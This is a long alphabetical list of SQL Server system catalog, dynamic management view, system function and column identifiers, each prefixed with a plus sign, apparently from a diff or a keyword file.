+age_row_number +aggregated_record_length_in_bytes +ag_group_id +ag_id +ag_name +ag_remote_replica_id +ag_resource_id +alert_id +alert_instance_id +alert_name +algorithm +algorithm_desc +algorithm_id +algorithm_tag +alias +all_columns +all_objects +allocated_bytes +allocated_extent_page_count +allocated_memory +allocated_page_file_id +allocated_page_iam_file_id +allocated_page_iam_page_id +allocated_page_page_id +allocation_count +allocations_kb +allocations_kb_per_sec +allocation_unit_id +allocation_units +allocation_unit_type +allocation_unit_type_desc +allocator_stack_address +allocpolicy +alloc_unit_id +AllocUnitId +AllocUnitName +alloc_unit_type_desc +allow_enclave_computations +allow_encrypted_value_modifications +allownulls +allow_page_locks +allow_row_locks +allows_mixed_content +allows_nullable_keys +all_parameters +all_sql_modules +all_views +altuid +ansi_defaults +ansi_null_dflt_on +ansi_nulls +ansi_padding +ansi_position +ansi_warnings +appdomain_address +appdomain_id +appdomain_name +application_name +ApplicationName +app_name +arithabort +artcache_article_address +artcache_db_address +artcache_schema_address +artcache_table_address +artcmdtype +artfilter +artgendel2cmd +artgendelcmd +artgenins2cmd +artgeninscmd +artgenupdcmd +artid +artobjid +artpartialupdcmd +artpubid +artstatus +arttype +artupdtxtcmd +AS_LOCATOR +asn +assemblies +assembly_class +assembly_files +assembly_id +assembly_method +assembly_modules +assembly_qualified_name +assembly_qualified_type_name +assembly_references +assembly_types +associated_object_id +asymmetric_key_export +asymmetric_key_id +asymmetric_key_import +asymmetric_key_persistance +asymmetric_keys +asymmetric_key_support +attested_by +attribute +audit_action_id +audit_action_name +audited_principal_id +audited_result +audit_file_offset +audit_file_path +audit_file_size +audit_guid +audit_id +audit_schema_version +audit_spec_id +auid +authenticating_database_id +authentication_method +authentication_type +authentication_type_desc +authority_name +authorization_realm +authorized_spatial_reference_id +authrealm +auth_scheme +authtype +auto_created +auto_drop +automated_backup_preference +automated_backup_preference_desc +auto_population_count +autoval +availability_databases_cluster +availability_group_listener_ip_addresses +availability_group_listeners +availability_groups +availability_groups_cluster +availability_mode +availability_mode_desc +availability_read_only_routing_lists +availability_replicas +available_bytes +available_commit_limit_kb +available_memory +available_memory_kb +available_page_file_kb +available_physical_memory_kb +average_range_rows +average_rows +average_time_between_uses +average_version_chain_traversed +avg_bind_cpu_time +avg_bind_duration +avg_chain_length +avg_clr_time +avg_compile_duration +avg_compile_memory_kb +avg_cpu_percent +avg_cpu_time +avg_dop +avg_duration +avgexectime +avg_fragmentation_in_percent +avg_fragment_size_in_pages +avg_load_balance +avg_log_bytes_used +avg_logical_io_reads +avg_logical_io_writes +avg_num_physical_io_reads +avg_optimize_cpu_time +avg_optimize_duration +avg_page_server_io_reads +avg_page_space_used_in_percent +avg_physical_io_reads +avg_query_max_used_memory +avg_query_wait_time_ms +avg_record_size_in_bytes +avg_rowcount +avg_rows +avg_system_impact +avg_tempdb_space_used +avg_time +avg_total_system_cost +avg_total_user_cost +avg_user_impact +avg_wait_time +awe_allocated_kb +backoffs +backup_devices +backup_finish_date +backup_lsn +backuplsn +backup_metadata_store +backup_metadata_uuid +backup_path +backup_priority +backup_size +backup_start_date +backup_storage_consumption_mb +backup_storage_redundancy +backup_type +base_address +base_generation +base_id +base_object_name +base_schema_ver +base_xml_component_id +basic_features +batch_count +batch_id +batchsize +batch_sql_handle +batchtext +batch_timestamp +before_begin +before_end +before_links +before_time +begin_checkpoint_id +begin_lsn +begin_time +begin_tsn +begin_update_lsn +begin_version +begin_xact_lsn +bigint +BigintData1 +BigintData2 +binary +BinaryData +binarydefinition +binary_message_body +bit +bitlength +bitpos +blob_container_id +blob_container_type +blob_container_url +blob_id +blocked +blocked_event_fire_time +blocked_task_count +block_id +blocking_exec_context_id +blocking_session_id +blocking_task_address +blocks_from_disk +blocks_from_LC +blocks_from_LogPool +block_size +bloom_filter_data_ptr +bloom_filter_md +body_size +boost_count +bootstrap_recovery_lsn +bootstrap_root_file_guid +boot_time_secs +boundary_id +boundary_value_on_right +bounding_box_xmax +bounding_box_xmin +bounding_box_ymax +bounding_box_ymin +brick_config_state +brick_guid +brick_id +brickid +brick_state +brkrinst +broker_address +broker_instance +bsn +bstat +bucket_count +bucketid +bucket_no +buckets +buckets_avg_length +buckets_avg_scan_hit_length +buckets_avg_scan_miss_length +buckets_count +buckets_in_use_count +buckets_max_length +buckets_max_length_ever +buckets_min_length +buffer_count +buffer_full_count +buffer_policy_desc +buffer_policy_flags +buffer_processed_count +buffers_available +buffer_size +built_substitute +bulkadmin +bXVTDocidUseBaseT +bytes_of_large_data_serialized +BytesOnDisk +bytes_per_sec +bytes_processed +BytesRead +bytes_serialized +bytes_to_end_of_log +bytes_used +bytes_written +BytesWritten +C1_count +C1_time +C2_count +C2_time +C3_count +C3_time +cache +cache_address +cache_available +cache_buffer +cache_capacity +cached_time +cache_hit +cache_memory_kb +cache_misses +cacheobjtype +cache_size +cache_used +can_commit +capabilities +capabilities_desc +cap_cpu_percent +cap_percentage_resource +capture_policy_execution_count +capture_policy_stale_threshold_hours +capture_policy_total_compile_cpu_time_ms +capture_policy_total_execution_cpu_time_ms +catalog +catalog_collation_type +catalog_collation_type_desc +catalog_id +CATALOG_NAME +category +category_id +ccTabname +ccTabschema +cdefault +cells_per_object +cert +certificate_id +certificates +cert_serial_number +changedate +change_tracking_databases +change_tracking_state +change_tracking_state_desc +change_tracking_tables +char +CHARACTER_MAXIMUM_LENGTH +CHARACTER_OCTET_LENGTH +CHARACTER_SET_CATALOG +CHARACTER_SET_NAME +CHARACTER_SET_SCHEMA +CHECK_CLAUSE +check_constraints +CHECK_CONSTRAINTS +CHECK_OPTION +checkpoint_file_id +checkpoint_id +checkpoint_lsn +checkpoint_pair_file_id +checkpoints_closed +checkpoint_timestamp +checksum +chk +cid +class +class_desc +class_id +classifier_function_id +classifier_id +classifier_name +classifier_type +classifier_value +class_type +class_type_desc +clause_number +cleanup_version +clear_port +clerk_name +client_app_name +client_correlation_id +client_id +client_interface_name +client_ip +client_net_address +client_process_id +ClientProcessID +client_tcp_port +client_thread_id +client_tls_version +client_version +clock_frequency +clock_hand +clock_status +cloneid +clone_state +clone_state_desc +closed_age +closed_checkpoint_epoch_value +closed_time +close_time +closing_checkpoint_id +clr_name +clustering_quality +cluster_name +cluster_nodename +cluster_owner_node +cluster_type +cluster_type_desc +cmd +cmdexec_success_code +cmds_in_tran +cmdTypeDel +cmdTypeIns +cmdTypePartialUpd +cmdTypeUpd +cmprlevel +cmptlevel +cntrltype +cntr_type +cntr_value +cold_count +colguid +colid +collation +COLLATION_CATALOG +collationcompatible +collation_id +collationid +collation_name +COLLATION_NAME +COLLATION_SCHEMA +collection_start_time +collisions +colName +colorder +colstat +column_characteristics_flags +column_count +COLUMN_DEFAULT +COLUMN_DOMAIN_USAGE +column_encryption_key_database_name +column_encryption_key_id +column_encryption_keys +column_encryption_key_values +column_id +columnid +column_master_key_id +column_master_keys +column_name +COLUMN_NAME +column_ordinal +ColumnPermissions +column_precision +COLUMN_PRIVILEGES +columns +COLUMNS +column_scale +column_size +columnstore_delete_buffer_state +columnstore_delete_buffer_state_desc +column_store_dictionaries +column_store_order_ordinal +column_store_row_groups +column_store_segments +column_type +column_type_usages +column_usage +column_value +column_value_pull_in_row_count +column_value_push_off_row_count +column_xml_schema_collection_usages +command +Command +command2 +command_count +command_desc +comment +commit_csn +commit_dependency_count +commit_dependency_total_attempt_count +commit_lbn +commit_lsn +commit_LSN +commit_sequence_num +committed_kb +committed_target_kb +commit_time +commit_timestamp +commit_ts +company +comparison_operator +compatibility_level +compensated_trans +comp_exec_ctxt_address +compid +compile_count +compile_memory_kb +completed_count +completed_ios_count +completed_ios_in_bytes +completed_range_count +completed_trans +completion_time +completion_type +completion_type_description +component +component_id +component_instance_id +component_name +compositor +compositor_desc +comp_range_address +compressed +compressed_backup_size +compressed_page_count +compressed_reason +compression_algorithm +compression_delay +computed_columns +compute_node_id +compute_pool_id +compute_units +concat_null_yields_null +concurrency +concurrency_slots_used +condition +condition_value +config +configuration_id +configuration_level +configurations +connected_state +connected_state_desc +connection_auth +connection_auth_desc +connection_id +connection_options +connections +connect_time +connect_timeout +connecttimeout +constid +CONSTRAINT_CATALOG +constraint_column_id +CONSTRAINT_COLUMN_USAGE +CONSTRAINT_NAME +constraint_object_id +CONSTRAINT_SCHEMA +CONSTRAINT_TABLE_USAGE +CONSTRAINT_TYPE +consumed_block_count +consumer_id +consumer_name +contained_availability_group_id +container_guid +container_id +container_path +container_type +container_type_desc +containing_group_name +containment +containment_desc +content +contention_factor +Context +context_info +context_settings_id +context_switch_count +context_switches_count +contract +conversation_endpoints +conversation_group_id +conversation_groups +conversation_handle +conversation_id +conversation_priorities +convgroup +cores_per_socket +correlation_process_id +correlation_thread_id +cost +count +count_compiles +counter +counter_category +counter_name +counter_value +count_executions +count_of_allocations +covering_action_name +covering_parent_action_name +covering_permission_name +cprelid +cpu +CPU +cpu_affinity_group +cpu_affinity_mask +cpu_busy +cpu_count +cpu_id +cpu_mask +cpu_rate +cpu_ticks +cpu_time +cpu_time_ms +cpu_usage +crawl_end_date +crawl_memory_address +crawl_start_date +crawl_type +crawl_type_desc +crdate +created +CREATED +create_date +createdate +created_by +create_disposition +created_time +create_lsn +createlsn +create_time +creation_client_process_id +creation_client_thread_id +creation_irp_id +creation_options +creation_request_id +creation_stack_address +creation_time +creator_sid +credential_id +credential_identity +credentials +crend +crerrors +crrows +crschver +crstart +crtsnext +crtype +crypto +cryptographic_provider_algid +cryptographic_provider_guid +cryptographic_providers +crypt_properties +crypt_property +crypt_type +crypt_type_desc +csid +csn +csw_cnt +ctext +current_aborted_transaction_count +current_cache_buffer +current_checkpoint_id +current_checkpoint_segment_count +current_column_encryption_key_count +current_configuration_commit_start_time_utc +current_cost +current_enclave_session_count +current_item_duration +current_lsn +current_memory_size_kb +current_principal +current_queue_depth +current_read_version +current_size_in_kb +current_spid +current_state +current_storage_size_mb +current_tasks_count +current_utc_offset +current_value +current_vlf_sequence_number +current_vlf_size_mb +current_workers_count +current_workitem_type +current_workitem_type_desc +cursor_handl +cursor_handle +cursor_id +cursor_name +cursor_rows +cursor_scope +cycle_id +CYCLE_OPTION +cycles_used +data +dataaccess +database +database_address +database_audit_specification_details +database_audit_specifications +database_automatic_tuning_mode +database_automatic_tuning_options +database_backup_lsn +database_credentials +database_directory_name +database_files +database_filestream_options +database_guid +database_id +DatabaseID +database_ledger_blocks +database_ledger_transactions +database_mirroring +database_mirroring_endpoints +database_mirroring_witnesses +database_name +DatabaseName +database_permissions +database_principal_id +database_principal_name +database_principals +database_query_store_options +database_recovery_status +database_role_members +databases +database_scoped_configurations +database_scoped_credentials +database_size_bytes +database_specification_id +database_state +database_state_desc +database_transaction_begin_lsn +database_transaction_begin_time +database_transaction_commit_lsn +database_transaction_last_lsn +database_transaction_last_rollback_lsn +database_transaction_log_bytes_reserved +database_transaction_log_bytes_reserved_system +database_transaction_log_bytes_used +database_transaction_log_bytes_used_system +database_transaction_log_record_count +database_transaction_most_recent_savepoint_lsn +database_transaction_next_undo_lsn +database_transaction_replicate_record_count +database_transaction_state +database_transaction_status +database_transaction_status2 +database_transaction_type +database_type +database_user_name +database_version +data_clone_id +data_compression +data_compression_desc +dataloss +data_pages +data_pool_id +data_pool_node_name +data_processed_mb +data_ptr +data_retention_period +data_retention_period_unit +data_retention_period_unit_desc +data_sensitivity_information +data_size +datasize +data_source +datasource +data_source_id +dataspace +data_space_id +data_spaces +DATA_TYPE +data_type_sql +date +date_created +date_first +datefirst +date_format +dateformat +date_modified +datetime +datetime2 +datetimeoffset +DATETIME_PRECISION +days +dbcreator +db_failover +dbfragid +db_id +dbid +DbId +dbidexec +db_ledger_blocks +db_ledger_transactions +db_len_in_bytes +db_name +dbname +DBUserName +db_ver +ddl_step +deadlock_monitor_serial_number +deadlock_priority +debug +decimal +DECLARED_DATA_TYPE +DECLARED_NUMERIC_PRECISION +DECLARED_NUMERIC_SCALE +DEFAULT_CHARACTER_SET_CATALOG +DEFAULT_CHARACTER_SET_NAME +DEFAULT_CHARACTER_SET_SCHEMA +default_constraints +default_database +default_database_name +default_fulltext_language_lcid +default_fulltext_language_name +default_language_lcid +default_language_name +default_logon_domain +default_memory_clerk_address +default_namespace +default_object_id +default_result_schema +default_result_schema_desc +default_schema_id +default_schema_name +default_value +definition +deflanguage +defval +degree_of_parallelism +delayed_durability +delayed_durability_desc +delete_access +delete_buffer_scan_count +deleted_rows +delete_level +delete_lsn +delete_referential_action +delete_referential_action_desc +DELETE_RULE +delta_pages +delta_quality +delta_store_hobt_id +deltrig +denylogin +depclass +depdbid +dependencies_failed +dependencies_taken +dependency +dependent_1_address +dependent_2_address +dependent_3_address +dependent_4_address +dependent_5_address +dependent_6_address +dependent_7_address +dependent_8_address +depid +depnumber +depsiteid +depsubid +deptype +deriv +derivation +derivation_desc +description +Description +description_id +desired_state +desired_state_desc +destination_createparams +destination_data_spaces +destination_dbms +destination_distribution_id +destination_id +destination_info +destination_length +destination_nullable +destination_precision +destination_scale +destination_type +destination_version +details +device_logical_id +device_memory_bytes +device_physical_id +device_provider +device_ready +device_to_host_bytes +device_type +dev_name +dflt +dfltdb +dfltdm +dfltns +dfltsch +diag_address +diagid +diag_status +dialog_timer +dictionary_id +diffbaseguid +diffbaselsn +diffbaseseclsn +diffbasetime +differential_base_guid +differential_base_lsn +differential_base_time +diff_map_page_id +diff_status +diff_status_desc +directory_name +disallow_namespaces +discriminator +diskadmin +disk_ios_count +disk_read_consumer_id +dispatcher_count +dispatcher_ideal_count +dispatcher_pool_address +dispatcher_timeout_ms +dispatcher_waiting_count +display_term +dist +dist_client_id +distinct_range_rows +dist_request_id +distributed_statement_id +distribution_desc +distribution_id +distribution_ordinal +distribution_policy +distribution_policy_desc +distribution_type +dist_statement_hash +dist_statement_id +dlevel +dlgerr +dlgid +dlgopened +dlgtimer +dll_name +dll_path +dm_audit_actions +dm_audit_class_type_map +dm_broker_activated_tasks +dm_broker_connections +dm_broker_forwarded_messages +dm_broker_queue_monitors +dm_cache_hit_stats +dm_cache_size +dm_cache_stats +dm_cdc_errors +dm_cdc_log_scan_sessions +dm_clr_appdomains +dm_clr_loaded_assemblies +dm_clr_properties +dm_clr_tasks +dm_cluster_endpoints +dm_column_encryption_enclave +dm_column_encryption_enclave_operation_stats +dm_column_store_object_pool +dm_cryptographic_provider_algorithms +dm_cryptographic_provider_keys +dm_cryptographic_provider_properties +dm_cryptographic_provider_sessions +dm_database_encryption_keys +dm_db_column_store_row_group_operational_stats +dm_db_column_store_row_group_physical_stats +dm_db_database_page_allocations +dm_db_data_pool_nodes +dm_db_data_pools +dm_db_external_language_stats +dm_db_external_script_execution_stats +dm_db_file_space_usage +dm_db_fts_index_physical_stats +dm_db_incremental_stats_properties +dm_db_index_operational_stats +dm_db_index_physical_stats +dm_db_index_usage_stats +dm_db_log_info +dm_db_log_space_usage +dm_db_log_stats +dm_db_mirroring_auto_page_repair +dm_db_mirroring_connections +dm_db_mirroring_past_actions +dm_db_missing_index_columns +dm_db_missing_index_details +dm_db_missing_index_groups +dm_db_missing_index_group_stats +dm_db_missing_index_group_stats_query +dm_db_objects_disabled_on_compatibility_level_change +dm_db_page_info +dm_db_partition_stats +dm_db_persisted_sku_features +dm_db_rda_migration_status +dm_db_rda_schema_update_status +dm_db_script_level +dm_db_session_space_usage +dm_db_stats_histogram +dm_db_stats_properties +dm_db_stats_properties_internal +dm_db_storage_pool_nodes +dm_db_storage_pools +dm_db_task_space_usage +dm_db_tuning_recommendations +dm_db_uncontained_entities +dm_db_xtp_checkpoint_files +dm_db_xtp_checkpoint_internals +dm_db_xtp_checkpoint_stats +dm_db_xtp_gc_cycle_stats +dm_db_xtp_hash_index_stats +dm_db_xtp_index_stats +dm_db_xtp_memory_consumers +dm_db_xtp_nonclustered_index_stats +dm_db_xtp_object_stats +dm_db_xtp_table_memory_stats +dm_db_xtp_transactions +dm_dist_requests +dm_distributed_exchange_stats +dm_dw_databases +dm_dw_locks +dm_dw_pit_databases +dm_dw_quality_clustering +dm_dw_quality_delta +dm_dw_quality_index +dm_dw_quality_row_group +dm_dw_resource_manager_abort_cache +dm_dw_resource_manager_active_tran +dm_dw_tran_manager_abort_cache +dm_dw_tran_manager_active_cache +dm_dw_tran_manager_commit_cache +dm_exec_background_job_queue +dm_exec_background_job_queue_stats +dm_exec_cached_plan_dependent_objects +dm_exec_cached_plans +dm_exec_compute_node_errors +dm_exec_compute_nodes +dm_exec_compute_node_status +dm_exec_compute_pools +dm_exec_connections +dm_exec_cursors +dm_exec_describe_first_result_set +dm_exec_describe_first_result_set_for_object +dm_exec_distributed_requests +dm_exec_distributed_request_steps +dm_exec_distributed_sql_requests +dm_exec_dms_services +dm_exec_dms_workers +dm_exec_external_operations +dm_exec_external_work +dm_exec_function_stats +dm_exec_input_buffer +dm_exec_plan_attributes +dm_exec_procedure_stats +dm_exec_query_memory_grants +dm_exec_query_optimizer_info +dm_exec_query_optimizer_memory_gateways +dm_exec_query_parallel_workers +dm_exec_query_plan +dm_exec_query_plan_stats +dm_exec_query_profiles +dm_exec_query_resource_semaphores +dm_exec_query_statistics_xml +dm_exec_query_stats +dm_exec_query_transformation_stats +dm_exec_requests +dm_exec_requests_history +dm_exec_sessions +dm_exec_session_wait_stats +dm_exec_sql_text +dm_exec_text_query_plan +dm_exec_trigger_stats +dm_exec_valid_use_hints +dm_exec_xml_handles +dm_external_authentication +dm_external_data_processed +dm_external_script_execution_stats +dm_external_script_requests +dm_external_script_resource_usage_stats +dm_filestream_file_io_handles +dm_filestream_file_io_requests +dm_filestream_non_transacted_handles +dm_fts_active_catalogs +dm_fts_fdhosts +dm_fts_index_keywords +dm_fts_index_keywords_by_document +dm_fts_index_keywords_by_property +dm_fts_index_keywords_position_by_document +dm_fts_index_population +dm_fts_memory_buffers +dm_fts_memory_pools +dm_fts_outstanding_batches +dm_fts_parser +dm_fts_population_ranges +dm_fts_semantic_similarity_population +dm_hadr_ag_threads +dm_hadr_automatic_seeding +dm_hadr_auto_page_repair +dm_hadr_availability_group_states +dm_hadr_availability_replica_cluster_nodes +dm_hadr_availability_replica_cluster_states +dm_hadr_availability_replica_states +dm_hadr_cached_database_replica_states +dm_hadr_cached_replica_states +dm_hadr_cluster +dm_hadr_cluster_members +dm_hadr_cluster_networks +dm_hadr_database_replica_cluster_states +dm_hadr_database_replica_states +dm_hadr_db_threads +dm_hadr_instance_node_map +dm_hadr_name_id_map +dm_hadr_physical_seeding_stats +dm_hpc_device_stats +dm_hpc_thread_proxy_stats +dm_io_backup_tapes +dm_io_cluster_shared_drives +dm_io_cluster_valid_path_names +dm_io_pending_io_requests +dm_io_virtual_file_stats +dm_logconsumer_cachebufferrefs +dm_logconsumer_privatecachebuffers +dm_logpool_consumers +dm_logpool_hashentries +dm_logpoolmgr_freepools +dm_logpoolmgr_respoolsize +dm_logpoolmgr_stats +dm_logpool_sharedcachebuffers +dm_logpool_stats +dm_os_buffer_descriptors +dm_os_buffer_pool_extension_configuration +dm_os_child_instances +dm_os_cluster_nodes +dm_os_cluster_properties +dm_os_dispatcher_pools +dm_os_dispatchers +dm_os_enumerate_filesystem +dm_os_enumerate_fixed_drives +dm_os_file_exists +dm_os_host_info +dm_os_hosts +dm_os_job_object +dm_os_latch_stats +dm_os_loaded_modules +dm_os_memory_allocations +dm_os_memory_broker_clerks +dm_os_memory_brokers +dm_os_memory_cache_clock_hands +dm_os_memory_cache_counters +dm_os_memory_cache_entries +dm_os_memory_cache_hash_tables +dm_os_memory_clerks +dm_os_memory_node_access_stats +dm_os_memory_nodes +dm_os_memory_objects +dm_os_memory_pools +dm_os_nodes +dm_os_performance_counters +dm_os_process_memory +dm_os_ring_buffers +dm_os_schedulers +dm_os_server_diagnostics_log_configurations +dm_os_spinlock_stats +dm_os_stacks +dm_os_sublatches +dm_os_sys_info +dm_os_sys_memory +dm_os_tasks +dm_os_threads +dm_os_virtual_address_dump +dm_os_volume_stats +dm_os_waiting_tasks +dm_os_wait_stats +dm_os_windows_info +dm_os_worker_local_storage +dm_os_workers +dm_pal_cpu_stats +dm_pal_disk_stats +dm_pal_net_stats +dm_pal_processes +dm_pal_spinlock_stats +dm_pal_vm_stats +dm_pal_wait_stats +dm_qn_subscriptions +dm_repl_articles +dm_repl_schemas +dm_repl_tranhash +dm_repl_traninfo +dm_request_phases +dm_resource_governor_configuration +dm_resource_governor_external_resource_pool_affinity +dm_resource_governor_external_resource_pools +dm_resource_governor_resource_pool_affinity +dm_resource_governor_resource_pools +dm_resource_governor_resource_pool_volumes +dm_resource_governor_workload_groups +dms_core_id +dms_cpid +dm_server_audit_status +dm_server_memory_dumps +dm_server_registry +dm_server_services +dm_sql_referenced_entities +dm_sql_referencing_entities +dms_step_index +dm_tcp_listener_states +dm_toad_tuning_zones +dm_toad_work_item_handlers +dm_toad_work_items +dm_tran_aborted_transactions +dm_tran_active_snapshot_database_transactions +dm_tran_active_transactions +dm_tran_commit_table +dm_tran_current_snapshot +dm_tran_current_transaction +dm_tran_database_transactions +dm_tran_global_recovery_transactions +dm_tran_global_transactions +dm_tran_global_transactions_enlistments +dm_tran_global_transactions_log +dm_tran_locks +dm_tran_persistent_version_store +dm_tran_persistent_version_store_stats +dm_tran_session_transactions +dm_tran_top_version_generators +dm_tran_transactions_snapshot +dm_tran_version_store +dm_tran_version_store_space_usage +dm_xcs_enumerate_blobdirectory +dm_xe_map_values +dm_xe_object_columns +dm_xe_objects +dm_xe_packages +dm_xe_session_event_actions +dm_xe_session_events +dm_xe_session_object_columns +dm_xe_sessions +dm_xe_session_targets +dm_xtp_gc_queue_stats +dm_xtp_gc_stats +dm_xtp_system_memory_consumers +dm_xtp_threads +dm_xtp_transaction_recent_rows +dm_xtp_transaction_stats +dns_name +doc_failed +document_count +document_id +document_processed_count +document_type +domain +DOMAIN_CATALOG +DOMAIN_CONSTRAINTS +DOMAIN_DEFAULT +DOMAIN_NAME +DOMAINS +DOMAIN_SCHEMA +dop +dormant_duration +dormant_duration_ms +downgrade_start_level +downgrade_target_level +dpages +dpub +DriveName +drive_type +drive_type_desc +drop_lsn +droplsn +dropped +dropped_buffer_count +dropped_event_count +dropped_lob_column_state +drop_table_memory_attempts +drop_table_memory_failures +ds_hobtid +dtc_isolation_level +dtc_state +dtc_status +dtc_support +DTD_IDENTIFIER +durability +durability_desc +duration +Duration +duration_milliseconds +ec_address +ecid +edge_constraint_clauses +edge_constraints +effective_cap_percentage_resource +effective_max_dop +effective_min_percentage_resource +effective_request_max_resource_grant_percent +effective_request_min_resource_grant_percent +elapsed_avg_ms +elapsed_max_ms +elapsed_time +elapsed_time_ms +elapsed_time_seconds +empty_bucket_count +empty_scan_count +enabled +encalg +encoding +encoding_type +encrtype +encrypted +encrypted_value +encryption_algorithm +encryption_algorithm_desc +encryption_algorithm_name +encryption_scan_modify_date +encryption_scan_state +encryption_scan_state_desc +encryption_state +encryption_state_desc +encryption_status +encryption_status_desc +encryption_type +encryption_type_desc +encrypt_option +encryptor_thumbprint +encryptor_type +end_checkpoint_id +end_column_id +end_compile_time +end_dialog_sequence +enddlgseq +ended_count +end_log_block_id +end_lsn +end_of_log_lsn +end_of_scan_count +endpoint +endpoint_id +endpoints +endpoint_url +endpoint_webmethods +end_quantum +end_time +EndTime +end_time_utc +end_tsn +end_xact_lsn +engine_version +enlist_count +enlistment_state +enqtime +enqueued_count +enqueued_tasks_count +enqueue_failed_duplicate_count +enqueue_failed_full_count +enqueue_time +entity_id +entity_name +entries_count +entries_in_use_count +entry_address +entry_count +entry_data +entry_data_address +entry_scan_direction +entry_time +enum +environ +environment_variables +epoch +equality_columns +equal_rows +error +Error +error_code +error_count +error_id +error_message +error_number +error_severity +error_state +error_timestamp +error_type +error_type_desc +estimated_completion_time +estimated_read_row_count +estimated_rows +estimate_row_count +estimate_time_complete_utc +etag +event +EventClass +event_count +event_data +event_entry_point +event_group_type +event_group_type_desc +event_handle +event_id +eventid +event_info +event_message +event_name +EventNotificationErrorsQueue +event_notification_event_types +event_notifications +event_package_guid +event_predicate +event_retention_mode +event_retention_mode_desc +events +EventSequence +event_session_address +event_session_id +EventSubClass +event_time +event_type +exception_address +exception_num +exception_severity +exclusive_access_count +exec_context_id +execute_action_duration +execute_action_initiated_by +execute_action_initiated_time +execute_action_start_time +execute_as +execute_as_principal_id +executing_managed_code +execution_count +execution_duration_ms +execution_id +execution_type +execution_type_desc +expansion_type +expiry_date +extended_procedures +extended_properties +extensibility_ctxt_address +extent_file_id +extent_page_id +external_benefit +external_data_sources +external_file_formats +external_job_streams +EXTERNAL_LANGUAGE +external_language_files +external_language_id +external_languages +external_libraries +external_libraries_installed +external_libraries_installed_table +external_library_files +external_library_id +external_library_setup_errors +external_library_setup_failures +EXTERNAL_NAME +external_pool_id +external_script_request_id +external_stream_columns +external_streaming_jobs +external_streams +external_table_columns +external_tables +external_user_name +extractor +facet_id +fade_end_time +failed_giveup_count +failed_lock_count +failed_other_count +failed_sessions_count +failed_to_create_worker +failover_mode +failover_mode_desc +failure_code +failure_condition_level +FailureConditionLevel +failure_message +failure_state +failure_state_desc +failure_time_utc +family_guid +familyid +fanout +farbrkrinst +far_broker_instance +farprincid +far_principal_id +far_service +farsvc +fcb_id +fcompensated +fcomplete +fdhost_id +fdhost_name +fdhost_process_id +fdhost_type +feature_id +feature_name +feature_type_name +federated_service_account +federatedxact_address +fetch_buffer_size +fetch_buffer_start +fetch_status +fgfragid +fgguid +fgid +fgidfs +fiber_address +fiber_context_address +fiber_data +field_terminator +file_context +file_exists +file_format_id +filegroup_guid +filegroup_id +filegroups +file_guid +fileguid +file_handle +FileHandle +file_id +fileid +FileId +file_is_a_directory +file_name +filename +FileName +filename_collation_id +filename_collation_name +file_object_type +file_object_type_desc +file_offset +file_or_directory_name +file_position +file_size_in_bytes +file_size_used_in_bytes +filestate +filestream_address +filestream_data_space_id +filestream_filegroup_id +filestream_guid +filestream_send_rate +filestream_transaction_id +file_system_type +filetables +filetable_system_defined_objects +file_type +filetype +file_type_desc +file_version +fillfact +fill_factor +filter_definition +filter_predicate +finitiator +fInReconcile +first +first_active_time +first_begin_cdc_lsn +first_begin_lsn +first_child +first_execution_time +FirstIAM +first_iam_page +first_lsn +firstoorder +first_out_of_order_sequence +first_page +first_recovery_fork_guid +first_row +first_row_time +first_snapshot_sequence_num +firstupdatelsn +first_useful_sequence_num +fixed_drive_path +fixed_length +fkey +fkey1 +fkey10 +fkey11 +fkey12 +fkey13 +fkey14 +fkey15 +fkey16 +fkey2 +fkey3 +fkey4 +fkey5 +fkey6 +fkey7 +fkey8 +fkey9 +fkeydbid +fkeyid +flag_desc +flags +Flags +float +flush_interval_seconds +fn_builtin_permissions +fn_cColvEntries_80 +fn_cdc_check_parameters +fn_cdc_decrement_lsn +fn_cdc_get_column_ordinal +fn_cdc_get_max_lsn +fn_cdc_get_min_lsn +fn_cdc_has_column_changed +fn_cdc_hexstrtobin +fn_cdc_increment_lsn +fn_cdc_is_bit_set +fn_cdc_is_ddl_handling_enabled +fn_cdc_map_lsn_to_time +fn_cdc_map_time_to_lsn +fn_check_object_signatures +fn_column_store_row_groups +fn_db_backup_file_snapshots +fn_dblog +fn_dblog_xtp +fn_dbslog +fn_dump_dblog +fn_dump_dblog_xtp +fn_EnumCurrentPrincipals +fn_fIsColTracked +fn_full_dblog +fn_get_audit_file +fn_GetCurrentPrincipal +fn_getproviderstring +fn_GetRowsetIdFromRowDump +fn_getserverportfromproviderstring +fn_get_sql +fn_hadr_backup_is_preferred_replica +fn_hadr_distributed_ag_database_replica +fn_hadr_distributed_ag_replica +fn_hadr_is_primary_replica +fn_hadr_is_same_replica +fn_helpcollations +fn_helpdatatypemap +fn_IsBitSetInBitmask +fn_isrolemember +fn_listextendedproperty +fn_MapSchemaType +fn_MSdayasnumber +fn_MSgeneration_downloadonly +fn_MSget_dynamic_filter_login +fn_MSorbitmaps +fn_MSrepl_getsrvidfromdistdb +fn_MSrepl_map_resolver_clsid +fn_MStestbit +fn_MSvector_downloadonly +fn_MSxe_read_event_stream +fn_my_permissions +fn_numberOf1InBinaryAfterLoc +fn_numberOf1InVarBinary +fn_PageResCracker +fn_PhysLocCracker +fn_PhysLocFormatter +fn_repladjustcolumnmap +fn_repldecryptver4 +fn_replformatdatetime +fn_replgetcolidfrombitmap +fn_replgetparsedddlcmd +fn_repl_hash_binary +fn_replp2pversiontotranid +fn_replreplacesinglequote +fn_replreplacesinglequoteplusprotectstring +fn_repluniquename +fn_replvarbintoint +fn_RowDumpCracker +fn_servershareddrives +fn_sqlagent_job_history +fn_sqlagent_jobs +fn_sqlagent_jobsteps +fn_sqlagent_jobsteps_logs +fn_sqlagent_subsystems +fn_sqlvarbasetostr +fn_stmt_sql_handle_from_sql_stmt +fn_trace_geteventinfo +fn_trace_getfilterinfo +fn_trace_getinfo +fn_trace_gettable +fn_translate_permissions +fn_validate_plan_guide +fn_varbintohexstr +fn_varbintohexsubstring +fn_virtualfilestats +fn_virtualservernodes +fn_xcs_get_file_rowcount +fn_xe_file_target_read_file +fn_yukonsecuritymodelrequired +forced_grant_count +forced_yield_count +force_failure_count +foreign_committed_kb +foreign_key_columns +foreign_keys +forkeys +forkguid +forkid +forklsn +fork_point_lsn +forkvc +format_type +forwarded_fetch_count +forwarded_record_count +fp2p_pub_exists +fprocessingtext +fPubAllowUpdate +fragid +fragment_bitmap +fragment_count +fragment_id +fragment_object_id +fragment_size +fragobjid +frame_address +frame_index +free_bytes +free_bytes_offset +free_entries_count +free_ref_slot_occupied +free_space_in_bytes +free_worker_count +frequency_check_ticks +frequent +friendly_name +frombrkrinst +from_broker_instance +from_object_id +from_service_name +fromsvc +fsinfo_address +ftcatid +full_block_only 